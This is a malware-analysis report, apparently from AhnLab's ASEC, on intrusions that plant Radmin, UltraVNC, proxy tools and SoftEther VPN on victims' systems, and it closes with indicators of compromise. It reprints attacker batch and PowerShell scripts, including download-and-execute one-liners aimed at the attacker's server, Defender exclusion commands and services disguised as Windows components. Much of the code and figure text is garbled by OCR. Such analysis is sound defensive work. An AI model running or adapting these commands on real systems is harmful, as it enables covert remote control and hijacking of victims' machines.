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The AhnLab SEcurity intelligence Center (ASEC) recently identified attack cases that
exploited Radmin and UltraVNC. Although the Initial Intrusion method remains unknown, the
attackers installed Radmin—a remote control tool—and then installed UltraVNC. The threat
actors exploited the remote control tools to gain control of the infected systems and installed
Netch and CCProxy to use the infected systems as proxy nodes. Recently, they have been
installing SoftEther VPN to exploit the infected systems as VPN servers.

1. Initial Stage

As of now, it remains unclear how the malware was installed during the Initial Breach.
However, it was confirmed that a PowerShell process used the “curl’ command to download a
compressed file from the following Path:

Hxxp://103.86.86[.]244:800/Gateway/r.Zip

The compressed file contains a batch script, a REG file, and the Radmin remote control tool.
Based on the path names observed in the attack case, it is presumed that the threat actor or
the malware extracted the compressed file and executed the “11.Bat” file contained within.
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set "TargetDir=C:\Intel\RServer”
set "RsetupPath=XTargetDir¥\rsetupbd.exe”

W e s~ hon

18
11 net session »nul 2>&1
12 if errorlevel 1 (

13 powershell -nop -WindowStyle Hidden -Command “Start-Process -FilePath "%~f8' -Verb RunAs -WindowStyle
Hidden -WorkingDirectory ‘%~dp8'" >nul 2»&1

14 exit /b 8

15 )

16

17 if not exist "XTargetDir®%” mkdir "XTargetDiri” 2>nul

18

19 if not exist "rserver3@” exit /b 1
28 xcopy [y fe fi /q "rserver3@\*.*" "ETargetDir%\" >nul 2>8&1

21

22 if exist "reg" xcopy fy fe fi /q "reg\*.*" "XTargetDirZ\" >nul 2>&1

23

24 if /I "%PROCESSOR_ARCHITECTUREX"=="AMD64" (

25 if exist "x64" xcopy fy fe /i fq "xB4\*.*" "RTargetDir®\" »nul 2>&1

26 ) else (

27 if exist "x86" xcopy fy fe fi /q "x86\*.*" "RTargetDirX\" >nul 2>&1

28 )

29

38 if exist "reglinstall.reg” (

31 reg import "regiinstall.reg” freg:32 »nul 2>&1

32 if /I "XPROCESSOR_ARCHITECTURE%"=="AMD&4"

33 reg import "regh\install.reg"” freg:64 >nul 23>&1

34 reg copy "HKLM\SOFTWARE\Radmin® "HKLM\SOFTWARE\WOW6432Node\Radmin"” /s /f >nul 2>&1
35 )

36 )} else if exist "XTargetDir¥\install.reg” (

37 reg import "¥TargetDirZ#\install.reg” /reg:32 >nul 2>&1

38 if /I "%PROCESSOR ARCHITECTUREX"=="AMD64" reg import "%TargetDir¥\install.reg" /reg:64 »>nul 2>&1
39 ) else {

48 exit /b 1

Figure 1. Radmin Installation Script

“11.Bat” installs Radmin in the “C:\Intel\RServer” Path and registers the “install.Reg”
configuration file to configure Radmin Server settings—such as the Radmin port number,
attacker ID, and other parameters—according to the threat actor’s specifications.

Threat actor ID: “ruxin”

Computer\HEEY_LOCAL MACHINE\SOFTWARE\Radmin'w3.0\Server\Parameters\Radmin Security’1

> Python A 1| Mame Type Data
v Rad;”g‘ 5| (Default)  REG_SZ {value not set)
v B v 4] 1 REG_BINARY 1000 00 0a 72 00 75 00 78 00 6 00 6 00 30 00 01 00...
~ Server
v | | Parameters Edit Binary Value
: i | BindList
IpFilter Walue name:
; MNtlsers |‘|
v Radmin Security Velue data:
v Shared a
Parameters 1 @l @@ 98 47 FC 7E  BF B9
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Figure 2. Radmin settings registered in the registry

2. Radmin

If Radmin is installed on an infected system with the specified settings, the threat actor can
control the infected system simply by knowing its IP address. Radmin is remote desktop
software that provides remote control and monitoring capabilities; it consists of Radmin Server
and Radmin Viewer. A user can install Radmin Server on a target system and use Radmin
Viewer to perform System Control. In other words, Radmin Server is installed on the infected
system, and as shown below, a threat actor can connect to the infected system’s IP address
on the specified port and log in using the ID and password included in the configuration
information.

&) Radmin Viewer — O x
SE€(C) E2ELtM 270 BN ESEH)

7|8 B B |30 o Yy (2 Hp & 5| B | g
=T &

192.168.2...

o5 o

Figure 3. Radmin Viewer, used for System Control of a system with Radmin Server installed
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3. UltraVNC

3.1. Installation Script

The threat actor exploited the Radmin Server already installed on the infected system to take
control. However, they also used Radmin to install UltraVNC and proxy tools as follows. The
PowerShell script executed through the commands below is notable for containing comments
in Chinese. The installation script creates the installation folder “C:\Windows\Fonts\web” and
attempts to add exception paths for antivirus programs; however, the fact that it uses files that
do not actually exist suggests the script may have been generated simply using Al.

> PowerShell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command “irm
hxxp://103.86.86[.]244:800/V/deploy.Ps1 | iex”

Target Type File Name File Size File Path @
Target B svchost.exe.download 10.65 MB %0SystemRoot%'\fonts\weblsvchost.exe.download
Current B powershell.exe 420.5 KB %SystemRoot?\syswowb4\windowspowershell\v1.0\powershell.exe
Parent B cmd.exe 227.5KB %SystemRootla\syswows4\cmd.exe
ParentOfParentOfCurrent [ rserver3.exs 1.11 MB %oSystemDrivel\intel\rserver\rserver3.exe
Process Module Target Behavior Data
B powershell.exe Downloads executablefile  http://103.86.86.244/c/svchost.exe?t=1787072508
B svchost.exe.download
B rserverd.exe B famitrf2.exe Creates process
B powershell.exs B wmiprvse.exe Creates process

Figure 4. PowerShell log executed by Radmin

It then downloads UltraVNC-related files from the download server to the installation folder
and executes “svchost.Exe.” “Svchost.Exe” is the UltraVNC Installer, which will be discussed
in the section below. If the installer fails to install the service, it registers a service named
“WpnUserHost” so that the Installer can run as a service. Additionally, it registers a task
named “WpnUserHost_MutualWatchdog” to download and execute the “repair.Ps1” file. The
following is the content of the configuration file used by the Installer.
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"service name”: “"WpnUserHost",
"service display name": "Windows Push Notifications User Host",
"service description”: "Provides support for the Windows push notification user host.",

"install as service": true,

"device_id": "",
"tokent:
"local remark": ",

"host_ini": “C:\\Windows\\Fonts\\web\\web.ini",
"host_exe”: "C:\\Windows‘\\Fonts\\web\\fonthost.exe",
“start _host": true,

"host_as_service™: true,

"restart_host service": true,

"host_service name": "FontCacheExt",
"host_service_display_name”: “Windows Font Cache Extension”,
"host_service description”: "Optimizes performance of applications by caching commonly used font data.”,

"heartbeat_interval": 188,
"password_apply retries”: 3,

"manage firewall™: true,
"firewall rule name": "WpnUserHost",
"tls verify”: false,

"download base": "http://103.86.86.244:808/c/",
“install dir": "C:\\Windows\\Fonts\\web",

"tunnel_host": "tt.yeyoujs.com”,
"tunnel port®: 9443,
"server_url”: "http://tt.yeyoujs.com:8443"

Figure 5. Downloaded configuration file

« [nstallation path: “C:\Windows\Fonts\web”

UltraVNC configuration file path: “C:\Windows\Fonts\web\web.Ini’
C&C server: hxxp://tt.Yeyoujs[.]Com:8443

Malware distribution address: hxxp://103.86.86[.]244:800/C/
Tunneling address: tt.Yeyoujs[.]Com:9443

3.2. UltraVNC Installer

The Installer was created using Pylnstaller and is named “client.” If it is not running as a
Service, it is terminated so that the installation script can register it as the “WpnUserHost”
Service. If it is already running as a Service, register a task named
“WpnUserHost_HourlyWatchdog” to download and execute the “repair.Ps1” file every hour.
Once this process is complete, it executes the “agent.Py” file contained within.

The actual functionality is contained in “agent.Py.” It proceeds with additional installation by
referencing the “config.Json” configuration file; first, it installs the embedded UltraVNC. Next,
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add firewall rules, randomly generate a temporary VNC port and password, and write these to
the UltraVNC configuration files “web.Ini” and “ultravnc.Ini.”

URL Multi-stage
/Api/agent/enroll Device Registration (Receive information such as password and
token)
/Api/agent/heartbeat Status Report (Sending information such as VNC port)

/Api/agent/password_ack Confirm Password Application

Table 1. URL Format Used by the Installer

The Installer connects to the C&C server to send the hostname and machine_id, and receives
data such as the device_id, token, and VNC password. It then encrypts the received
password and uses it as the VNC password.

POST fapi/agent/enroll HTTP/1.1

Host: tt.yeyoujs.com:3443

Accept: */*

Accept-Encoding: gzip, deflate
User-Agent: Python/3.18 aichttp/3.14.1
Content-Length: 95

Content-Type: application/json

{"hostname": "DESKTOPJMM", "machine_id": ', remar

k™: ""IHTTP/1.1 288 OK

date: sun, 23 Aug 2026 I GuT
server: uvicorn

content-length: 258

content-type: application/json

{"ok":true, device_id" : " [ NN . " tok=n" : " [N
", "tunnel_port”:9443,"vnc_password” : " | NG
*,"password version™:1,"reused”:false,"port start™:18888,"port end":15808}

Figure 6. Packet Contents During the Registration Process

During the heartbeat process, status information—including the VNC port—is transmitted, and
the installer also verifies that the received password has been applied. Initially, variants built
with Pylnstaller were distributed, but recently, variants built with the Go programming
language have been circulating.
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Function name Segmen ™ 119 ! case SLL:
v main 120 if ( *(_DWORD *)w6 == 'ur--' && *(_BYTE *){v6 + 4) == 'n" )
'F| main_machinelD text 121 goto LABEL_48;
£ rain_enroll text 122 if ( *(_DWORD *)v6 != 'rats’ || *(_BYTE *)(v6 + 4) I= 't' )
| F | main_applyPasswaord taut 123 goto LABEL 78;
(| main_heartbeatOnce tent 124 started = main_startWindowsService(*r@, r8[1]);
'F | main_bootstrap taxt 125 if { started )_
IF | main_runLoop taxt 126
' | main_ensureBundledHost teut - 43 = @:
F| main_sameFile text o R TR . S T o ,
"F| main_writeFileAtomic text p— *(—",Z'ﬁt i g L .j(”'a wed + 8)5
'F| main_copyEmbeddedCanfigEsx - text - ((_QuORD .:I. A 3 1,3“_: s
'f| main_defautConfigBytes tent e ) e . =t
IF | main_rootDir et 431
| main_cfgPath et 132 break;
'F | main_statePath taxt 5 case BLL:
[ f| main_loadCanfig text 134 if ( *(_DWORD *)v6 != ‘omer' || *(_WORD *){v6 + 4) != 'ev’
' f| main__ptr_Config_applyDe--- .text 135 goto LABEL_70;
'F | main_saveConfig text 136 41 = "session™;
'F | main_loadState text 137 A2 = 7;
[f] main_savestate et 138 if ( main_runHidden("net”, 3, &41, 1, 1, v4, v5) )
'f| main_runHidden tewt 139 1 R
[F] ma!n_runHlddenOut text 140 *(_QWORD *)&v43 = ERTYPE string;
f| main_portfree Tt 1 *((_QWORD *)&v43 + 1) = &sNeedAdministra;
'F | main_porListening et - log Fatal(&vi3. 1. 13:
| main_pickPort et - B [ e T
| F | main_openFirewall text - }__ . n . i "
“Fl main_vnclniText et V22 = rz]?lﬂ_FEmD\-’ENlI"IdDWSSEFVICE(i_C nfig. _r@);
| main_hostiniPaths teut if ( v22 )
'F | main_hostiniPaths_func? et
F | main_writeYMNCIni taxt vd3 = 8;
| main_syncHastniFiles text *(_QWORD *}&v43 = *(_QWORD *)(v22 + 8);
'f| main_hostProcessRunning tdext *((_QWORD *)&w43 + 1} = v23;
[F | main_ensureFonthostService Jtext log Printf("remove: ¥v", 16, &v43, 1, 1);
|f | main_stopHostProcesses text 151 }
| main_disableHostService et 152 eIz
'f| main_markPreferdppMaode tewt 153 i
IF | ma!n_laupcthust.-’-\pp et 154 /46[@] = &RTYPE_string;
[F | main_waitListen et . % — W
F| main_restartFanthost tewt — _i,_"[l] A &iRemi.:Ed’ q - )
¥ main_httpClient e ::-_;‘ . mt_Fprintln(off AFlA2e, gword (98018, v4e6, 1, 1);

Figure 7. Installer built using the Go programming language

3.3. UltraVNC

UltraVNC is software that provides remote screen control, similar to Radmin, which was
discussed above. Its source code is open-source, and it is divided into UltraVNC Server and
UltraVNC Viewer. In this attack case, the installed component was UltraVNC Server, which is
presumed to have been built by the threat actor. The threat actor can then connect to the IP
address and VNC port number reported to the C&C server, log in using a password they
specified, and remotely control the infected system.
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Connection
VNC Server 192.168. N
Port 10635
Encoder
Status Password requested
UltraVNC Viewer - Authentication 192.166. INN10635 X

Speed 123
FPS 1 1 Password |

©)
Traffic
Bytes Sent :&: Login Cancel

0 0

UltraVINC Viewer - 1.8.2.4

Cancel

Figure 8. UltraVNC Viewer used for System Control on a system with UltraVNC Server
installed

4. Proxy

4.1. Netch-gateway

In addition to UltraVNC, the threat actor also installed a proxy tool believed to have been
developed by a developer from China. The attack cases identified in this investigation aim not
only to seize control of the infected systems but also to utilize them as proxy servers. By
exploiting Radmin, the attacker executed the following PowerShell command as follows: the
downloaded PowerShell script first downloads an executable file and a configuration file
named “config.Json,” then passes them as arguments and executes them.

> PowerShell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command “irm
hxxp://103.86.86[.]244:800/Gateway/deploy_silent1.Ps1 | iex”

Netch-gateway is a proxy program that supports the SOCKS5, Shadowsocks, and KCP
protocols; when run directly, it displays the GUI as follows.
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B Metch Gateway BC3E V1.9.5

aahf A API(#AE, KB+ /apivi):
http://127.0.0.1:8000/api/v1

mE BAPI(EmEEE - T . £ B EE):

¥ S 1D (B Z==-8 1 Sync Token (B Z==-82h):

v BEIN ABzIRE (#F)

r ERmEETT

v EHEXH GTERERS 100KB, #EEMHEE)

v F& T & IPE B30 nesh I8HEHL O (FRANIHAEH IP)
2HEREFABW (AINA BATTERH ZEEAXT):

WmiPrvSE

Ak & &7~ A 5

WMI Provider Host

& %5 5 BR:

Provides hosting services for Windows Management Instrumentation (WMI) provi
v ZEARGERSFRITHEZEED

EXE A= oA =TT th Al FA R H = install_service.bat & F m&AFHF %
%E%n

BRERS \ BHMYE | RERSEERS

ARARGESE |

Figure 9. Netch-gateway program

Upon execution, it references the configuration file to connect to the C&C server’s “auto-
config” URL to register a node, and then downloads proxy configuration information from the
“desired” URL. Although configuration information cannot be downloaded at this time, if the
download is successful, it is expected to include the proxy port and access password; threat

9/14



actors could subsequently use the infected system as a proxy node to carry out malicious

activities.

URL Multi-stage

/Internal/shadowsocks/auto-config Initial Connection (Node
Registration)

/Internal/shadowsocks/nodes/<node_id>/desired Download Proxy Settings
/Internal/shadowsocks/nodes/<node_id>/config- Check Configuration Version
version
/Internal/shadowsocks/nodes/<node_id>/heartbeat Status Report

Table 3. URL Format Used by Netch-gateway

POST /fapi/vl/internal/shadowsocks/auto-config HTTP/1.1
Host: www.sheng886.top

User-Agent: Go-http-client/1.1

Content-Length: 38

Content-Type: application/json

Accept-Encoding: gzip

{"local bind ips™:["| GGG ] }HTTP/1.1 484 Not Found

Server: nginx

Date: Tue, 25 Aug 202c [N GMT
Content-Type: application/json
Content-Length: 118

Connection: keep-alive

"detall" ... e e MANEEET MOST & v TP e u e cue o sososssssssssssssssssssasas ,

'}

Figure 10. Communication packets with the configuration address

4.2. CCProxy

Initially, the threat actor used CCProxy, which is a tool that supports various proxy functions
such as HTTP, HTTPS, SOCKS, and FTP. The dropper, created as a WinRAR SFX file,
contains an installation script, registry files, and CCProxy. The contents of the configuration

file, “CCProxy.Ini,” show that it enables a SOCKS proxy through port 49661.
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0|2
Language
Log
web

@ 22 reg
[&]a bat

£:| Accinfo.ini
&:| CCProxy.ini
=| History.txt
& | install.reg
£| LeftTime.ini
[=] svchost.exe

Figure 11. CCProxy Installer

4.3. SoftEther VPN

=7

316 787
o

23 139
1148
ee0

248

2 315

6 373
1057
43

2 266 480

/35 726

LET LR
2021-03-21 21:00
2021-03-21 21:00
2021-03-21 21:00
2020-12-08 13:54
2021-03-21 22:36
2021-03-21 22:01
2021-03-21 22:24
2016-10-13 0917
2019-09-25 23:53
2021-03-18 14:03
2021-03-21 21:59

Recently, instances of SoftEther VPN installation have been identified. The dropper, in the

form of a WinRAR SFX file, contains a batch installation script named “a.Bat,” “svchost.Exe”

(which is actually SoftEther VPN disguised as a legitimate Microsoft program), and a
configuration file named “vpn_server.Config.” When executed, it installs SoftEther VPN.
Consequently, threat actors can exploit the infected system as a VPN server.
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og 37 gsEI7| SEEM

giﬁ 5 g . ~ chain_certs 0 0 2020-12-00 03:54

LY L.» » WR BT AW N &) 1reg 1522 498 2026-08-08 00:41
$ o A NS O e [labat 3875 1420 2026-08-08 00:41

. . : [ hamcore.se2 15 122 604 12183 831 2026-08-08 00:44
set "INSTQLL_DIR=C:\Hlndofs\system 8l lang.config & s 0505 e
N Y 2 i, ¥ [ svchost.exe 7 357 440 2441136 2026-08-08 00:44
et S peeal ityipen & vpn_server.config 14988 5854 2026-08-08 0021

set "DISP=Windows Media Scheduler Service"
set "DESC=Enables Mixed Reality OpenXR runtime functionality”
set "SRC=%~dp@"

net session »nul 2>&1

if errorlevel 1 (
powershell -nop -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass
-WindowStyle Hidden -WorkingDirectory ‘%~dp@'" »nul 2>&1
exit /b @

)

0/7 B30 HEE AL

if not exist "XSRCEXEXE_NAMEX" exit /b 1
if not exist "¥SRCXhamcore.se2" exit /b 1

mikdir "XINSTALL_DIR%" 2>nul
powershell -nop -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try{Add-MpPreference -ExclusionPath
'C:\Windows\system' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'svchost.exe' -EA SilentlyContinue}catch{}” »nul 2>81

REM Stop/remove old Soft service if present (remame migration
sc.exe stop "Soft" »nul 2>&1
sc.exe delete "Soft" »nul 2>&1

sc.exe stop "RSVCE" >nul 2>81

ping -n 2 127.0.6.1 >nul

wmic process where "Name='svchost.exe' and ExecutablePath="C:\\Windows\\system\\svchost.exe'" call terminate »nul 2>&1
ping -n 2 127.0.6.1 >nul

copy /Y "%SRCEXEXE_NAME%" "%INSTALL_DIRX\XEXE_NAMEX" >nul || exit /b 1
copy /Y "%SRC%hamcore.se2™ "HINSTALL_DIR%\hamcore.se2" >nul || exit /b 1
if exist "XSRCXvpn_server.config” copy /Y "#SRCXvpn_server.config"” "XINSTALL_DIR¥\vpn_server.config” >nul

Figure 12. SoftEther VPN installation script

5. Threat Actor Information

The initial intrusion method and threat actor information have not yet been confirmed.
However, given that the script used in the attack contains Chinese comment strings, the tools
used are familiar to Chinese speakers, and the configuration information is in Chinese, it is
possible that the threat actor is a Chinese speaker.
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—#FE &~ U]

$ErrorActionPreference "Continue”

$ProgressPreference = "SilentlyContinue”

|

| | irm | |

if ([string]::IsNullOrkWhiteSpace($BaseUrl)) {
$BaseUrl = “"http://183.86.86.244:808/c/"

i
$Installpir = "C:\Windows\Fonts\web"
$ServiceName = "WpnUserHost"
$ServiceDisplay = "Windows Push Notifications User Host”
$ExeName = "svchost.exe"
if ([string]::IsNullOrkWhiteSpace($CtrlHost)) {
$CtrlHost = "tt.yeyoujs.com”
H

$0ldserviceNames = @("WpnUserHost™, "FontWebHost", "WinHttpProxyHelper”, "WindowsUpdateHelper™)

$BaseUrl = $BaseUrl.TrimEnd("/") + "/"
$utf2 = New-Object System.Text.UTF8Encoding $false

function Test-Admin {
$p = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]: :GetCurrent()
return $p.IsInRole([Security.Principal.WindowsBuiltInRole]: ::Administrator)

Figure 13. Script containing comments in Chinese

Furthermore, the addresses specified in the Netch-gateway program’s configuration file—
which are used to connect to and register nodes, as well as to download proxy configuration
information—display a Chinese-language proxy service page when accessed via a web
browser.

6. Conclusion

Recently, attack cases targeting Korean users to install remote control tools such as Radmin
and Ultra VNC have been identified. The threat actor exploited the installed remote control
tools to gain control over the infected systems and subsequently installed multiple proxy tools
and a SoftEther VPN server. If exposed to such attacks, sensitive information stored on the
system may be stolen, and the system may be misused as a proxy or VPN server. Users
should exercise extreme caution with executable files from unknown sources and ensure they
update V3 to the latest version to proactively block Malware infections.

MD5
02153f3fbb3611bc8b01eb347bf86c5a
08613b6f27bf240af3f84c88b839f034
0d3c1e06d135fd2018f271822335a599
0f906a7d2fc2b0bb73edcad8bc45bbdb
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12cc737b0e5e9576525295da76fa53d2
Additional IOCs are available on AhnLab TIP.
URL

http[:]//103[.]86[.]86[.]244/gateway/ag[.]lexe
http[:]//103[.]86[.]86[.]244/gateway/conimal.]lexe
http[:]//103[.]86[.]86[.]244[:]800/c/
http[:]//103[.]86[.]86[.]244[:]800/c/config[.]lexample[.]json
http[:]//103[.]86][.]86[.]244[:1800/c/ddengine64[.]1dll
Additional IOCs are available on AhnLab TIP.
FQDN

IP
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